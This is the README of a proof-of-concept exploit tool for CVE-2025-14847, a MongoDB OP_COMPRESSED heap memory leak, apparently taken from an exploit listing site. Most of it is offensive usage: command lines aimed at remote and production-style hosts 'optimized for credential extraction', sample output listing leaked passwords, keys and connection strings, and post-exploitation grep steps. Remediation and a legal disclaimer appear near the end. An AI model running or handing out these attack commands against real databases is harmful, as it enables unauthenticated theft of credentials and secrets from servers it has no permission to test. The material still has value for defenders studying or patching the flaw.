## https://sploitus.com/exploit?id=2A57217D-AFEF-5BE7-9CC0-3BC43AFBE036
# MongoBleed - CVE-2025-14847 MongoDB Memory Leak Exploit
[](https://www.python.org/downloads/)
[](https://opensource.org/licenses/MIT)
[](https://nvd.nist.gov/)
A proof-of-concept exploit for CVE-2025-14847, a critical memory leak vulnerability in MongoDB's OP_COMPRESSED message handler.
**Author:** ob1sec
**Original Research:** Joe Desimone ([@dez_](https://x.com/dez_))
## ๐ Table of Contents
- [Overview](#overview)
- [Vulnerability Details](#vulnerability-details)
- [Features](#features)
- [Installation](#installation)
- [Usage](#usage)
- [Examples](#examples)
- [How It Works](#how-it-works)
- [Output Analysis](#output-analysis)
- [Affected Versions](#affected-versions)
- [Remediation](#remediation)
- [Legal Disclaimer](#legal-disclaimer)
- [Contributing](#contributing)
- [References](#references)
## ๐ Overview
MongoBleed exploits a zlib decompression vulnerability in MongoDB that allows attackers to leak server memory through crafted BSON messages. By manipulating the claimed uncompressed buffer size in OP_COMPRESSED messages, an attacker can force the server to allocate oversized buffers containing uninitialized heap data, which is then leaked through BSON parser error messages.
### Key Capabilities
- ๐ Extract sensitive data from MongoDB server memory
- ๐ฏ Target specific memory offsets systematically
- ๐ Automatic detection of credentials, API keys, and connection strings
- ๐พ Binary output preservation for post-exploitation analysis
- ๐ Real-time progress monitoring and statistics
## ๐ Vulnerability Details
**CVE ID:** CVE-2025-14847
**CVSS Score:** TBD
**Vulnerability Type:** Information Disclosure / Memory Leak
**Attack Vector:** Network
**Authentication Required:** No
### Technical Summary
MongoDB's OP_COMPRESSED message handler trusts the attacker-controlled `uncompressed_size` field without validation. When processing compressed messages:
1. Server allocates a buffer based on the claimed uncompressed size
2. Decompression writes actual (smaller) data to buffer start
3. Remainder of buffer contains stale heap memory
4. BSON parser iterates through "fields" in leaked memory
5. Parser extracts data as field names until null terminators
6. Error messages reveal leaked memory fragments
This allows extraction of:
- Database credentials
- API keys and tokens
- Connection strings
- Session tokens
- Internal configuration data
- Cryptographic material
- Previously processed user data
## โจ Features
- **Systematic Memory Scanning**: Configurable offset ranges for comprehensive memory extraction
- **SSL/TLS Support**: Works with encrypted MongoDB connections
- **Intelligent Parsing**: Multiple regex patterns for different MongoDB error formats
- **Sensitive Data Detection**: Automatic identification of credentials, keys, and secrets
- **Progress Tracking**: Real-time statistics on requests, fragments, and bytes leaked
- **Graceful Interruption**: Clean exit with partial results on Ctrl+C
- **Binary Output**: Preserves all leaked data for forensic analysis
- **Statistics Dashboard**: Comprehensive metrics on exploitation success
## ๐ Installation
### Prerequisites
- Python 3.8 or higher
- Network access to target MongoDB instance
### Clone Repository
```bash
git clone https://github.com/ob1sec/mongobleeder.git
cd mongobleeder
```
### Dependencies
The exploit uses only Python standard library modules:
- `socket` - Network communication
- `struct` - Binary data packing
- `zlib` - Compression/decompression
- `ssl` - TLS encryption
- `re` - Pattern matching
- `argparse` - CLI parsing
No external dependencies required!
## ๐ Usage
### Basic Syntax
```bash
python3 mongobleeder.py --host [options]
```
### Command-Line Arguments
| Argument | Description | Default |
|----------|-------------|---------|
| `--host` | Target MongoDB hostname/IP (required) | - |
| `--port` | Target MongoDB port | 27017 |
| `--min-offset` | Minimum document length offset | 20 |
| `--max-offset` | Maximum document length offset | 8192 |
| `--buffer-size` | Buffer inflation multiplier | 500 |
| `--output` | Output file for leaked data | mongobleeder_leaked.bin |
| `--no-ssl` | Disable SSL/TLS connection | False |
| `--timeout` | Socket timeout in seconds | 3 |
### Help
```bash
python3 mongobleeder.py --help
```
## ๐ก Examples
### Basic Scan (Default Settings)
Scan localhost with standard parameters:
```bash
python3 mongobleeder.py --host localhost
```
### Remote Target with SSL
Exploit remote MongoDB instance over SSL:
```bash
python3 mongobleeder.py --host db.example.com --port 27017
```
### Aggressive Deep Scan
Extended offset range for maximum data extraction:
```bash
python3 mongobleeder.py --host 192.168.1.100 \
--min-offset 10 \
--max-offset 16384 \
--buffer-size 1000
```
### Non-SSL Local Instance
Target development MongoDB without encryption:
```bash
python3 mongobleeder.py --host 127.0.0.1 \
--no-ssl \
--output dev_leaked.bin
```
### Quick Targeted Scan
Focused scan of specific memory region:
```bash
python3 mongobleeder.py --host target.local \
--min-offset 500 \
--max-offset 1500 \
--timeout 5
```
### High-Value Target Scan
Optimized for credential extraction:
```bash
python3 mongobleeder.py --host prod-db.company.com \
--min-offset 100 \
--max-offset 4096 \
--buffer-size 800 \
--output prod_secrets.bin
```
## ๐ฌ How It Works
### Exploitation Flow
### Memory Layout
### Packet Structure
```
MongoDB Wire Protocol Message:
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ Header (16 bytes) โ
โ โโ Message Length (4 bytes) โ
โ โโ Request ID (4 bytes) โ
โ โโ Response To (4 bytes) โ
โ โโ OpCode: 2012 (4 bytes) โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโค
โ OP_COMPRESSED Body โ
โ โโ Original OpCode: 2013 (4 bytes) โ
โ โโ Uncompressed Size: INFLATED! (4) โโโโ THE BUG
โ โโ Compressor ID: 2 (1 byte) โ
โ โโ Compressed Data (variable) โ
โ โโ Contains: OP_MSG + BSON โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
```
## ๐ Output Analysis
### Console Output
```
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ MongoBleed Exploit Tool โ
โ CVE-2025-14847 PoC by ob1sec โ
โ โ
โ Original Research: Joe Desimone (@dez_) โ
โ MongoDB Memory Leak via BSON Decompression Buffer Overflow โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
[*] Target: db.example.com:27017
[*] SSL/TLS: Enabled
[*] Offset Range: 20 - 8192
[*] Buffer Mult: +500 bytes
[*] Output File: mongobleeder_leaked.bin
[*] Scanning offsets 20 to 8192...
[*] Buffer inflation: +500 bytes
[+] offset= 142 len= 23: mongodb_admin_password
[+] offset= 856 len= 45: AKIAIOSFODNN7EXAMPLE
[+] offset= 1024 len= 67: mongodb://admin:SuperSecret123@cluster0.mongodb.net/admin
[+] offset= 2048 len= 31: {"api_key":"sk-1234567890"}
[*] Progress: 4000/8192 offsets scanned, 847 unique fragments, 12483 total bytes
...
======================================================================
SCAN STATISTICS
======================================================================
Total bytes leaked: 24,576
Unique fragments: 1,429
Requests sent: 8,173
Fragments extracted: 3,892
Timeouts: 0
Errors: 0
======================================================================
SENSITIVE DATA ANALYSIS
======================================================================
[!] PASSWORDS:
admin_password_hash=$2b$12$abc123...
db_password=SuperSecret123
... and 3 more
[!] AWS KEYS:
AKIAIOSFODNN7EXAMPLE
... and 1 more
[!] CONNECTION STRINGS:
mongodb://admin:SuperSecret123@cluster0.mongodb.net/admin
postgres://user:pass@db.internal:5432/prod
[!] TOKENS:
bearer_token=eyJhbGciOiJIUzI1NiIs...
======================================================================
[*] Exploit complete
```
### Binary Output File
The leaked data is saved to a binary file (default: `mongobleeder_leaked.bin`) containing:
- Raw memory fragments in extraction order
- Suitable for further analysis with forensic tools
- Can be searched for specific patterns with `strings`, `grep`, etc.
### Post-Exploitation Analysis
```bash
# Search for specific patterns
strings mongobleeder_leaked.bin | grep -i password
# Look for JSON structures
strings mongobleeder_leaked.bin | grep -E '\{.*\}'
# Find potential keys
strings mongobleeder_leaked.bin | grep -E '[A-Za-z0-9]{32,}'
# Hex dump for manual review
xxd mongobleeder_leaked.bin | less
```
## ๐ฏ Affected Versions
This vulnerability affects MongoDB versions with improper validation of OP_COMPRESSED message sizes.
**Known Affected Versions:**
- MongoDB 4.x - Verify specific versions
- MongoDB 5.x - Verify specific versions
- MongoDB 6.x - Verify specific versions
- MongoDB 7.x - Verify specific versions
**Verify Your Installation:**
```bash
mongo --version
```
Check vendor advisories for specific version details and patch availability.
## ๐ก๏ธ Remediation
### For MongoDB Administrators
1. **Immediate Actions:**
- Update MongoDB to the latest patched version
- Review server logs for exploitation attempts
- Rotate all credentials that may have been exposed
- Audit network access controls
2. **Long-Term Mitigations:**
- Implement network segmentation (restrict MongoDB access)
- Enable authentication and authorization
- Use TLS/SSL for all connections
- Monitor for anomalous query patterns
- Regular security audits and penetration testing
3. **Detection:**
- Look for unusual OP_COMPRESSED messages with inflated size claims
- Monitor for repeated connection attempts with parsing errors
- Check for elevated error rates in MongoDB logs
### Configuration Hardening
```yaml
# mongod.conf - Security recommendations
net:
bindIp: 127.0.0.1 # Limit to localhost or specific IPs
tls:
mode: requireTLS
certificateKeyFile: /path/to/cert.pem
security:
authorization: enabled
systemLog:
verbosity: 1 # Enable detailed logging
```
## โ๏ธ Legal Disclaimer
**FOR EDUCATIONAL AND AUTHORIZED TESTING PURPOSES ONLY**
This tool is provided for security research, vulnerability assessment, and authorized penetration testing only. Unauthorized access to computer systems is illegal under:
- Computer Fraud and Abuse Act (CFAA) - United States
- Computer Misuse Act - United Kingdom
- Criminal Code - Canada
- Similar legislation in other jurisdictions
**Usage Restrictions:**
- โ Authorized penetration testing with written permission
- โ Security research in controlled lab environments
- โ Educational purposes on systems you own
- โ Unauthorized access to systems you don't own or control
- โ Malicious attacks or data theft
- โ Testing without explicit written authorization
**User Responsibility:**
By using this tool, you agree that:
1. You have explicit authorization to test the target system
2. You will not use this tool for illegal purposes
3. You accept full responsibility for your actions
4. The author (ob1sec) is not liable for misuse
**The author and contributors are not responsible for any damages, legal consequences, or misuse of this tool.**
## ๐ค Contributing
Contributions are welcome! Please follow these guidelines:
### Reporting Issues
- Search existing issues before creating new ones
- Provide detailed reproduction steps
- Include MongoDB version, Python version, and OS
- Share relevant error messages or logs
### Pull Requests
1. Fork the repository
2. Create a feature branch (`git checkout -b feature/improvement`)
3. Make your changes with clear commit messages
4. Add tests if applicable
5. Update documentation as needed
6. Submit PR with detailed description
### Code Style
- Follow PEP 8 guidelines
- Add docstrings to all functions
- Use type hints where appropriate
- Keep functions focused and modular
## ๐ References
### Vulnerability Research
- **Original Research:** Joe Desimone ([@dez_](https://x.com/dez_))
- **CVE Entry:** [CVE-2025-14847](https://nvd.nist.gov/)
- **MongoDB Security Advisory:** [Check MongoDB Security Advisories](https://www.mongodb.com/alerts)
### Technical Documentation
- [MongoDB Wire Protocol](https://www.mongodb.com/docs/manual/reference/mongodb-wire-protocol/)
- [BSON Specification](http://bsonspec.org/)
- [OP_COMPRESSED Message Format](https://github.com/mongodb/specifications/blob/master/source/compression/OP_COMPRESSED.rst)
### Related CVEs
- Similar memory leak vulnerabilities in database systems
- Decompression bomb / zip bomb related issues
### Tools & Resources
- [MongoDB Documentation](https://www.mongodb.com/docs/)
- [Python struct module](https://docs.python.org/3/library/struct.html)
- [zlib compression](https://docs.python.org/3/library/zlib.html)
## ๐ Contact
**Author:** ob1sec
- GitHub: [ob1sec](https://github.com/ob1sec)
- Twitter/X: [@ob1sec](https://x.com/ob1sec)
### Acknowledgments
- **Joe Desimone ([@dez_](https://x.com/dez_))** - Original vulnerability discovery and research
- MongoDB Security Team - For responsible disclosure process
- Security research community
## ๐ License
MIT License
Copyright (c) 2025 ob1sec
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
---
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